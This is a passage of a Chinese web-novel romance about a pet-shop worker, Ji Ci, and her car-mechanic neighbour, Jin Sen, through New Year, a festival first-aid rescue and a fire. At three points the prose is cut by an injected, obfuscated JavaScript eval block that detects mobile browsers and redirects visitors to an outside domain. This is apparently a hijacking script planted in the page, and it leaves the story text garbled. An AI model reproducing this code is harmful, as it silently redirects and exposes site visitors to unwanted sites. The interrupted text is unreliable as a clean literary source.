安静的环境更符合她对“家”的定义,日出而作日落而息,天暗下来,她背着书包像小鸟似的从院子后门钻进去,空气中是淡淡的药香,她的门前是一块苗圃,周围种着薄荷和香茅,用来防蚊虫。 姥姥是个很严肃的人,但对她很好,他们祖孙俩相处时像中药柜上写着的正楷,横平竖直一板一眼,季瓷知道姥姥爱她。 “这狗劲还挺大,”靳老板牵着的那只不老实,总想往马路上窜。狗绳长了,在他腿上左三圈右三圈的绑着,烦的靳森恨不得直接踹狗屁股。最后,他把狗绳在手上绕了几道,问季瓷,“你一人能拉住吗?” “能,”季瓷觉得自己被小瞧了,“你喊它名字它就来找你了。” 天冷,季瓷穿着浅紫色的长款羽绒服,蓬蓬的,帽子围巾都戴上了,长发露出几缕,黑色的,垂在胸前,整个人裹得像颗球。 她弯下腰,喊小狗的叠字名字,声音轻轻的,细细的,带着上扬的尾音,像笑着说的,靳森看了一眼她,的确是在笑着。 两只小狗都朝她围了过去,尾巴狂摇。 “你挺招小动物喜欢。”靳森往旁边站站,省得其中一只粗壮的尾巴总扇他腿。 “我也没想到,”季瓷把手套摘了,公平公正地两只狗轮流摸摸头,“以前都没接触过。” “那以前干什么?”靳森问,“医生?” “没,”季瓷的心情一下就低落了下来,“我只实习过。” 靳森:“怎么不干了?” 季瓷直起身:“不想干了。” “所以来云城?” “嗯。” 她兴趣蔫蔫,靳森也没继续追问,两人顺着马路走,转过第二个路口,快绕一圈回来。 “靳老板呢?”季瓷反问,“你的右腿当初伤得很厉害吗?” “还行,”靳森微微抬了下脚,“但跟不上训练,想想算了。” 轻描淡写的一句算了。 季瓷偏过目光:“现在呢?” 靳森:“不耽误遛狗。” 季瓷又把目光收回来:“之后怎么又自己开店了?” 靳森笑笑:“本来是分配到行政岗,钱少,懒得去。汽修店前老板认识我,年纪大干不动了,让我低价接来了。” 说完,他又感叹:“我跟着他学完没多久就开始推行新能源,他说我点背。” 季瓷也笑起来。 街道变窄,周围都是民宅,空气中飘荡着饭香,偶尔几声噼啪的炮仗声,聚在一起的小孩笑着跑开。 季瓷耳边落下低沉的笑。 她依旧低着头,看投在地上缩短又拉长的影子。 靳老板的头发被风吹起来,影子像头炸毛的熊。 季瓷指着地:“好丑。” 晚上回家,靳森停在门口,看了好一会儿门上红彤彤的对联。 季瓷半个身子探进屋里,从玄关的鞋柜上拿出一个纸袋,反手递过去。 靳森微微挑眉,接过来,里面是一条灰色的围巾,能闻到淡淡的洗衣液的香味。 “洗过了。”季瓷说得飞快。 靳森笑道:“不会值两百吧?” 季瓷人已经进了房间,拉着门把手剩下窄窄的门缝,从里面回答:“……大概吧。” 许姐是年初三回来的,小周是初五。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458080|185380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她们都给季瓷带了家里的特产,季瓷煮了当归生姜羊汤端到店里大家一起喝。 小周端着碗,笑得眉眼弯弯:“不给咱们靳老板送点?” 季瓷抿了口碗沿,装聋。 恰巧此时靳森出门坐上他的摩托,就在店门外,小周热情地喊了一嗓子。 靳森抬抬下巴,嘚瑟:“喝过了。” 声音不大,但店里几个人都听见了。 季瓷差点呛着。 小周眼珠子瞪得老大,表情像是中了头奖。 梁医生掩着唇咳了一声。 许姐手上一顿,看看季瓷,目光中带着一丝揶揄。 “早上……他闻到了。”季瓷主动解释。 但解释很生硬,解不解释都一样。 季瓷也没什么心思去解释,因为刚才她好像看见,靳老板的脖子上系着那条灰色的围巾。 - 初三之后,周边的店铺陆续开始复工。 可能大家都在忙着串门,所以宠物店的生意不怎么样。 上午的时候小周还在问季瓷要不要趁着人多热闹去哪玩玩,下午靳老板就给了许姐四张古镇的门票。 许姐挺高兴,没想到连带着梁医生都能有一份。 “没想到啊,我只是打了个招呼让靳老板照顾一下你,结果自己还跟着混吃混喝上了” 季瓷一愣,抬头看向许姐:“你……什么时候?” “过年前啊,”许姐笑眯眯地勾了一下季瓷的下巴,“怎么样?靳老板有没有找你?” 季瓷一时语塞,不知道说什么。 小周拿走其中两张,打算和季瓷一起,不耽误人家夫妻二人世界。 季瓷很久没有真正意义上的去玩了,虽然也无所事事过,但心总是悬着的。这段时间在宠物店,她的经济稳定了下来,精神也稳定了下来,也愿意花时间单纯用在“玩”上面。 只是当她迎着新年的彩灯,走过热热闹闹的街道,看见擦肩而过的一张张笑脸时,还是会有一瞬间的恍惚。 逛了一圈头都要晕了,小周去看吹糖人,看完她也要排队吹一个。 手艺活的摊子面前总是挤着很多人,季瓷不想过去,举着个糖葫芦慢吞吞地站在边上,边等边吃。 她今天为了应景,上身穿了件白色暗纹的对襟衬衫,下面搭着深蓝色的马面裙,头发绾了一半在脑后,比较日常的穿搭,衬得她皮肤雪白。 期间有一位男性上前搭讪,季瓷尴尬地摆摆手,也不等小周了,赶紧逃离是非之地。 她给小周发了条信息,自己出了商业街,找了一处灯光较暗的湖水边坐下,糖葫芦吃了一半,剩下的裹在纸袋里,季瓷低头去拆。 “你倒是会找地方。” 身后冷不丁传来一句,吓得季瓷一个激灵,她猛地转身,但很快反应过来这声线来自于谁,又放松下来。 “吓我一跳。”她转回去。 “找你半天,”靳森抬脚跨过石凳,坐在季瓷身边,“那边有灯展你不去看,躲这儿吃糖?” 他的黑色皮衣外套了件工作人员的橘色小马甲,脖子上系着围巾,是季瓷送给他的那一条。 年后几天靳森一直都戴着,暖和。 “人太多了,”季瓷只看了一眼就把视线垂了下去,手指剥开纸袋,把下半截糖葫芦拿出来,“挤来挤去的……” 她喜欢吃糖,小时候身体不好经常喝药,喝完之后姥姥就会给她含一团麦芽糖。 那时候的糖软,温温热热,像更浓一点的蜂蜜,甜味从入口那一刻开始就散在整个口腔,黏糊糊的,能把什么苦味都盖住。 思绪飘散,随着湖面倒映着星星点点的彩光,小船一般轻轻晃荡,季瓷的视线落在一处,记忆被拉扯得很远,等回过神来发觉已经不知过了多久,靳森一直坐在她的身边。 “你……”季瓷捏着竹签,小声地问,“怎么不说话?” “看你在想事情,”靳森把一条腿伸展开,往后拄着手臂,“我陪你坐坐。” 8. 第 8 章 说是坐坐就真坐坐,之后两人谁都没有说话。 季瓷视线平齐的落在波光粼粼的湖面,到了时间,不远处的天空绽放出绚烂的色彩。 “啊,”她抬了眼,“烟花。” 靳森“嗯”了一声,上身微微后仰。 视线偏上一点,能看见季瓷的侧脸。 黑色的长发散着,她今天没戴围巾,露出尖尖的下巴。 太瘦了,一个蹲起都会晕。 “你不用去上班吗?”季瓷突然反应过来。 她觉得靳老板有点儿太听许姐话了,年前拜托的事,许姐都回来了,还照顾呢? 靳森看了眼时间:“一个小时前就已经下班了。” 季瓷想了想,又问:“就在这坐着?不无聊吗?” “你呢?” 季瓷低头踢了下自己的裙摆,若有所思:“以前可能会无聊吧。” 她从小就是个闲不下来的主,什么都想摸摸碰碰,多动症似的,精力特别旺盛。 那时候不懂事,也没那么多烦恼,姥姥对她虽然严格,但也不过分束缚孩子天性,成年前的季瓷还是挺无忧无虑的。 “现在跟以前不一样了?”靳森问。 季瓷没有回答。 沉默的间隙,身后突然传来不小的躁动,闹闹嚷嚷的,不少游客在往一处聚集。 季瓷扭头去看:“怎么了?” “不知道,”靳老板先一步起身,“我去看看。” 季瓷跟过去几步,听见游客们说着些“人不行了”“突然一下”“吓死人了”之类的话,她的脑中警铃大作,连忙拎上裙摆快步追上去。 走得近了,听见有人哭喊着救命。 靳森一手拨开人群,另一只手拨下景区的急救电话。 信号不好,说话声断断续续的,他报出了方位,正准备查看躺在地的伤者,身边有人先一步蹲下来,白色的的灯笼袖映入眼帘,季瓷已经俯下身,将两指按在对方的侧颈。 “先生!先生!能听到我说话吗?” 靳森也跟着蹲下:“他怎么样?” 季瓷来不及回答,只是一边解开对方的衣领,将他的四肢摊开,仰躺在地上,再抬头问向一旁泣不成声的家属:“患者有心脏病吗?” 问出口的下一秒,她从对方脖子上摸到一串线绳,拎出来一看,是急救药。 “问你呢,”靳森按住六神无主的家属的肩膀,“有心脏病吗?” “应该是有的。”季瓷把急救药塞到患者嘴里,立刻展开胸外按压。 靳森起身疏散人群,片刻后他俩工作互换,季瓷刚才有点用力过猛,此刻蹲在一边,手按着地面,没立刻起身。 很快,急救车赶到,靳森的胸外按压一刻没停,被一起抬上了救护车。 等到车鸣声渐远,季瓷这才慢慢站起来。 身边有好心的路人问她还好吗,她笑着说没事,解释自己只是有点低血糖。 人群散尽,季瓷又回到了之前坐着湖边。 灯光昏暗,但依旧可以看见白色的袖口处粘了不少灰尘,季瓷拍了几下也没拍掉。 她把刚才急救时的经过又在脑子里仔仔细细过了一遍,很典型的心脏病,在学校时模拟过很多次,应该没有什么问题。 应该……没有问题。 她低头揪着衣袖发了会儿愣,反应过来后觉得手上发空,突然想起来自己那个剥了一半的糖葫芦,好像之前起身时随手搁在了长凳上,只是现在左右找找,连个影子都没了。 然而下一秒,靳老板就握着个糖葫芦回来了。 牛皮纸包着的,递到季瓷的面前,她顿了两秒才接过来,问刚才的病人怎么样了。 “已经脱离生命危险了,”靳森重新坐在她的身边,“接手的医生说急救做得很及时。” “你的动作的确标准。”季瓷评价说。 靳老板笑了下:“以前也不是白干的。” 提到以前,他就顺嘴多问一句:“你毕业之后怎么不找个医学相关的工作?” 季瓷低头撕开糖葫芦外包着的糯米纸,这是靳老板第二次问她以前的事了。 也不是很想说。 他们又坐了一会儿,小周给季瓷打来了一通电话。 刚才有个人被救护车拉走了,她怕那人是季瓷。 “我没事,”季瓷连忙安慰,“在你眼里我原来这么脆弱吗?” 两个姑娘又说了些有的没的,小周问季瓷在哪,自己过来找她。 “一个湖旁边……”季瓷左右看看,没看见什么路标。 靳森在旁边提醒:“香水湖。” “哎呀!”小周惊叫,“说话的是靳老板吗?” 季瓷的眼神心虚地往旁边飘了一下:“……嗯。” “那我先回去了你们约会愉快!” 小周语速飞快,说完“啪”一声就把电话挂了。 季瓷的手机还贴在耳边,茫然地听着话筒中拖长了的忙音。 “嗯?”靳老板没听见电话那头的动静,歪了歪头表示疑惑。 季瓷尴尬地放下手机:“我要回去了。” “行,”靳森起身,“我送你。” 距离景区出口还有一段距离,季瓷被靳老板带着,走了一条人比较少的小路。 路窄,两人隔着一拳距离,冬衣厚重,在不知不觉中贴在一起,季瓷小心翼翼地收拢了肩膀,她低着头,假装整理自己的裙摆。 靳森快了半步,走在她的侧前方,两人之间的距离瞬间就拉开了。 季瓷的食指绕着发梢。 原本就这么相安无事,但突然不知从哪儿窜出一群迟到了的老年旅行团,大概是奔着烟花展去的,一个个步履匆匆,恨不得撞飞路上一切障碍物。 靳森侧身,下意识去看身后的季瓷。 季瓷正盯着靳老板的鞋跟发呆呢,整个人还没反应过来,几个人“唰唰”从他身边飞快跑过。 她一愣,想往旁边躲避,迎面来的游客跟她想到一起去了,两人当即撞了个满怀。 “哎哟”一声,对方比季瓷喊得大声。 石板小路间铺着草皮,季瓷踩在边缘重心不稳,一个踉跄就往旁边倒,靳森一把抓住她的手腕,也被带过去半步,另一只手直接揽过肩膀,没揽全乎,在后颈处摸到一片柔软的发。 没摔倒,但是脚崴着了。 季瓷单脚蹦跶了两下,还想硬撑,没撑得住。 靳森 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458081|185380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把她搀扶去路边的长凳,蹲下身,本想拎开她的裙摆查看伤处——马面裙的裙摆太厚重了,似乎拎起来一点也没什么所谓。 但手伸到一半顿住,又收回来,手掌按住自己的膝盖,抬起头,一缕垂下来的黑发在他鼻尖荡了一下,他微微愣神,闻到一股淡淡的香。 季瓷着急忙慌地把头发往耳朵后面掖。 “严重吗?”靳森的声音有点沉。 “还好。”季瓷莫名觉得耳热。 起初的疼痛捱过去,之后也就能忍受了,她试着按压了一下周围,应该没伤到骨头。 “要喊小周过来吗?”靳森把手臂横在膝盖上,这么看她。 那么高大的一个人,蹲得有点乖了。 季瓷抿了下唇,点头。 靳森无奈:“那怕是要等烟花结束了。” “很久吗?” “一两个小时?” 季瓷皱眉:“骗人。” 靳森偏头笑了。 他似乎爱笑了不少,眼睛弯起来完全没有初见时的凶相,甚至显得很乖。 季瓷想起了之前宠物店里寄养过的一只德牧,虽然身板壮体格大,但脾气却出了奇的好,见谁都笑着摇尾巴。 有点像。 季瓷不自在地移开目光,重新看向波光粼粼的湖面。 她歇了会儿,能动了,按着靳老板的手臂,垫着脚一瘸一拐地走。 “你刚才问我的问题,”季瓷的音调和她的脚步一样忽高忽低,“我为什么不从事医学相关的工作。” 她停了一下,靳森“嗯?”了一声,等着她的回答。 “因为我是离家出走的,”季瓷小声说,“我怕我爸找到我。” 靳森微微挑眉,像是有些惊讶。 “跟家里吵架了?” “算是。” “被找到会怎么样?” “换个地方,”季瓷垂着睫,“随时。” 靳森沉默片刻:“这也是你来云城的原因?” 季瓷点了点头:“嗯。” “……” 打了出租,车到楼下。 季瓷坚持自己走回去,一瘸一拐的,也尽量不挨着靳老板。 靳森在旁边扶也不是不扶也不是,只能看着对方像个身残志坚的异级磁铁,挣扎着前进的同时努力跟他拉开距离。 “吱”一声,密码锁开了。 靳森扣住门板,再三确定:“真不需要帮忙吗?去诊所看看也好。” “不用,”季瓷再次拒绝,“这种小伤我自己能解决。” 僵持下的几秒,走廊上的声控灯骤然熄灭。 有月光,但最初的那两秒依旧是暗的。 靳森指尖微动,缓慢收回手臂。 季瓷迈过门槛,握住门把手。 犹豫片刻,还是在关门前还是转过身,表情复杂地看着门外的人:“靳老板,你和许姐的关系真好。” 靳森:“?” “她年前交代你的事,都年后了还记着呢。” 靳森:“……” 他思考了一下许老板年前交代了他什么事。 “虽然很谢谢你,”季瓷抿了下唇,“但我不用你这么照顾。” 9. 第 9 章 元宵一过,时间赶着人走。 云城的冬天很短,市区里的花市热闹起来,春天就跟着来了。 宠物店对面那家炒货店门口养了一盆迎春花,细长的枝丫从瓷盆的边缘伸到地上,季瓷从它们打花苞就开始留意,等到鹅黄色的星星点点挂满枝丫,人们已经脱去冬装,换上轻薄些的毛衣。 早上七点,垃圾车“嗬啷嗬啷”开过街道,季瓷下楼时能遇到几个学生,和他们一起从楼下的早餐店里买了一笼包子和一颗茶叶蛋,拎着往店里走。 隔壁汽修店的门竟然开着。 真是稀奇。 她路过时往里看了一眼,什么都没看到呢,只听“咣当!”一声巨响,吓了她一跳。 靳老板“嘶”了一声,侧身甩了下手,余光瞥见门口有人,视线顺过去,季瓷心虚地收回目光,问道:“你还好吗?” “还好,”靳森弯腰把掉地上的扳手捡起来,“起这么早?” “我每天都这么早。”季瓷往宠物店走。 她踩上宠物店前的阶梯,低头掏出钥匙开门。 “哎。” 靳老板的声音掺杂在一片狗叫里,季瓷回了头。 “最近怎么不理我?” 靳老板的头发剪短了,显得人很精神,加上他今天穿了件深蓝色的连帽卫衣,乍一眼看过去跟个男大似的,得比平时年轻个四五岁。 说话是笑着说的,手臂随意地往店门前那堆半报废的破铁架子上一搭,跟路边精神小伙搭讪似的,不怎么正经。 “没有,”季瓷视线飘忽,把门锁摘了,“店里忙。” “信息也没回啊。”靳老板又说。 “回了的。”季瓷目不斜视,推门进店。 “就回个‘嗯’。”靳老板的声音落在身后。 “你又没什么事。” 季瓷闷着头往店里进,她不知道怎么说,也没想过靳森会直接问。 一些事不该摆明面上,最起码季瓷是这么觉得的。 她把早餐随手搁在柜台前,往工作室里进。 等套上围裙再出来,看见靳老板站在柜台边,低着头,手腕搭载台面上,食指拨弄着馄饨肚子上厚厚的绒毛。 那猫仰着肚皮,舒服得四脚朝天,一副十分受用的样子。 季瓷:“……” 叛徒。 “你怎么知道我没事?”靳老板抬眼,笑盈盈地看着她,“我事可大了。” 季瓷的心里一个突突,小声说:“我才不信呢。” “你前几天说的那事,”靳森开门见山直奔主题,“许老板只是告诉了我你过年不回家而已,也没说让我照顾你啊。” 季瓷一顿,转过身看着靳森。 “真的,”靳森无奈地一摊手,“一般人托我办事都要给钱的。” 季瓷:“……” 她犹豫片刻:“我给你钱?” 话音落下,换靳森沉默了。 “吱——” 尖锐的刹车声打断了此刻尴尬地对视,靳老板侧身往店外看。 “砰”一声关车门的动静,有人在他店门口吆喝着:“老板!修车!” “来了,”靳老板提高音量应了一声,往外走出两步,又转过身,倒退着指了下柜台上的早饭,“吃完早饭再忙活。” 季瓷握着拖把跟过去,站在店门口往外探了个头,两人正弯着腰往轮胎上看,估计又是被石子崩炸了胎。 靳老板的指间果不其然夹上了一根烟,说话间偏头咬上滤嘴,目光和季瓷撞了个正着。 没来及开口,对方“嗖”一下把脑袋缩了回去,接着探出一只金毛脑袋,季瓷又给掰着颈脖抓回去了。 靳森的那一口烟没抽进嘴里,他笑完,把烟掐了。 之后的一个月风平浪静,一场绵绵春雨之后,孙姐又来给靳森送药膏。 她去隔壁之前会先来宠物店里,有了除夕那天偶遇,再见着季瓷,心里微微有些泛酸。 这份别扭来的既不合时宜又让人尴尬,孙姐胡乱遮掩过去,喊住了她:“小季,听说你是学医的,要不帮我看看这药膏买的好不好?” 季瓷磕巴了一下,放下手上的猫砂:“孙姐你买的肯定都是好的。” 孙姐笑着拉过她的手腕:“走吧,靳老板不识货,咱俩顺便把他拉去医院,我一人拽不动。” 季瓷不想去,但又没有拒绝的理由,硬着头皮到靳老板的面前,看孙姐把药膏递过去,又劝了靳森几句,让他多去医院做理疗。 靳森果然没当回事,摆摆手说自己的腿差不多已经完全恢复了,压根不需要这些东西。 “不忙的话还是去吧,”季瓷终于开口,“关节炎很难受的。” 靳森顿了一下,狡辩:“没有的事。” “骗人,”季瓷撇撇嘴,“你把裤子卷起来我看看。” 靳森:“……” 怎么还认真起来了。 孙姐“噗嗤”一声笑出来:“得,终于有人管得住你了。” 靳森无奈地叹了口气:“你至于吗?把她带过来。” 季瓷:“……” 有种当着她面蛐蛐她的感觉。 季瓷理了下鬓边的碎发,觉得脸上有点发烧,她劝靳森该去医院还是去医院,毕竟讳疾忌医只会更加严重。 靳森当天下午就去做了理疗,拍了张照片发给季瓷,配字:行吗?大夫。 季瓷一改之前的冷淡,但也没多热情,只是回了只猫猫点头的表情包,暂时认下了“大夫”这个称呼。 四月,云城热得像是入了夏。 对面炒货店的老板娘已经开始摇起了蒲扇,宠物店里开了冷气,偶尔冻得季瓷需要出门暖和一下。 隔壁汽修店店门开着,店主不知道去哪了。 有人过来买东西,见着人就问,也不管对方身上还穿着宠物店的工作服。 季瓷愣了愣:“我不是这家店的。” 客人点了下头,像个人机:“那你给我拿捆地线。” 季瓷一时间不知道要从哪开始吐槽。 “你可以打老板的电话。”她指了指招牌。 “不麻烦,”客人直接往店里进,“你给我拿个地线就行。” 季瓷挠了挠头,片刻后也跟着进去:“地线……等会儿啊,我给老板打个电话。” 靳老板在五千米开外的地方理电线,目前过不去,客人急着用,要自己找。 季瓷问什么是地线,靳森说那店里正中那些五颜六色的就是。 经过一番艰难的沟通,客人自己挑了两捆拿走了。 他给的是现金,交到季瓷手里,三百块,没有钱找零,就顺走了一瓶水。 临走前还跟季瓷打了声招呼,俨然已经把她当成了老板。 季瓷一份薪水打两份工,有些哭笑不得地把钱收进口袋,再发信息把对方拿了瓶饮料的事告诉靳老板。 靳森问她喝不喝,自己拿。 季瓷说不喝。 她又回到宠物店,闲来无事特地百度了一下地线是什么东西,看着看着突然闻到一股烧焦了的味道,于是放下手机,打算去检查店后面的热水器。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458082|185380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 只是还没来得及过去,梁医生突然从坐诊室跑出来,他左手上拎着个猫包,右手捞过一只肥猫就往里塞:“后面那栋老楼着火了,赶紧和我把猫抓起来。” 季瓷吓一跳:“什么?!” 她知道那栋楼,几十年前建的,摇摇欲坠岌岌可危,刚来的时候闹拆迁闹得沸沸扬扬,后来也就不了了之。 季瓷曾经上门取过宠物,狭窄的楼梯间里堆满了杂物,当时只是在想没有物业管理迟早出事,却没想到些事能出的这么快。 “火大吗?”她一边抓猫一边问。 梁医生说:“没看见火,光是烟。” 两人动作飞快,把寄养的猫猫们全部装进猫包。 梁医生半道去开车,季瓷就把猫包挨个放在店门口,再去牵狗。 没一会儿车到了,小小的车厢里塞满了猫猫狗狗,打算开去不远处的广场上避难。 季瓷没走,她还惦记着靳老板的店,打电话过去,没人接。 心里总有一种不好的预感。 不远处警笛声不断,手机里各种群里不断弹出消息,都在说着火的事。 季瓷在片刻犹豫后眼一闭心一横,握着手机朝火灾处小跑过去。 不知是火势大了还是离得近了,烧焦味越来越重,抬头能看见天空中弥漫着灰白的浓重烟雾,警笛声和惊呼声混在一起,吵得人心也跟着七上八下。 “爬上去了,有人上去了。” 季瓷推开人群,所有人都在不约而同仰着头往上看。 她也跟着一起,竟然发现三楼的塑钢窗上翻过去一个人,对方踩着不太结实的雨棚,正在用液压剪把四楼阳台的铁护栏剪开后往上掰。 “四楼还有个孩子。” “爹妈跑出来了,真是造孽。” 栏杆后隐约伸出一只小手,楼下跑出来的父母哭成一团。 到场的消防员和警察正在楼下铺设充气垫,季瓷大气都不敢喘,一眨不眨地盯着那个背影。 虽然很模糊,但她基本可以确定那个人就是靳老板,出了这事儿第一个往上冲的除了他没有别人,可是那么高的地方,还着着火,她只是在楼下站着就已经感觉到胆战心惊。 手机响了,许姐问她在哪。 再开口,季瓷话里已经带上了哭腔:“许姐,靳老板去火场救人了。” 许姐着急道:“别管他救不救,你先回来。” “我……”季瓷看着高楼上那一抹模糊的声影,压根走不动路,“我怕他出意外。” 警车消防车在路口排了一排,记者网红扛着摄像机闻声而动。 季瓷跟着群众一起被疏散到几百米开外,完全看不清楚火场发生的一切。 许姐从身后抓住她的胳膊,拉她走,季瓷摇摇头:“姐我走不了。” “你在这也没用啊,还危险。”许姐喘着气说。 这些季瓷都知道,她憋了半天,说出口的还是那句话:“我走不了。” 说话间,突然听得“砰”一声巨响,接着人群中发出一声惊呼。 季瓷悬着的心也跟着一颤,整个人有一瞬间站不住脚。 有人说“救下来了”,也有人说“跳下来了”。 季瓷往前挤着,问怎么了。 “汽修店的靳老板,”那人往后指指,“带着小孩跳下来了。” 警车开道,救护车呼啸着朝医院驶去,季瓷扶着许姐的手臂,目光随着闪烁的红蓝警示灯一起,停留在街道的转角。 季瓷于短暂地呆滞后重新回过神来,她松开许姐:“我得去趟医院。”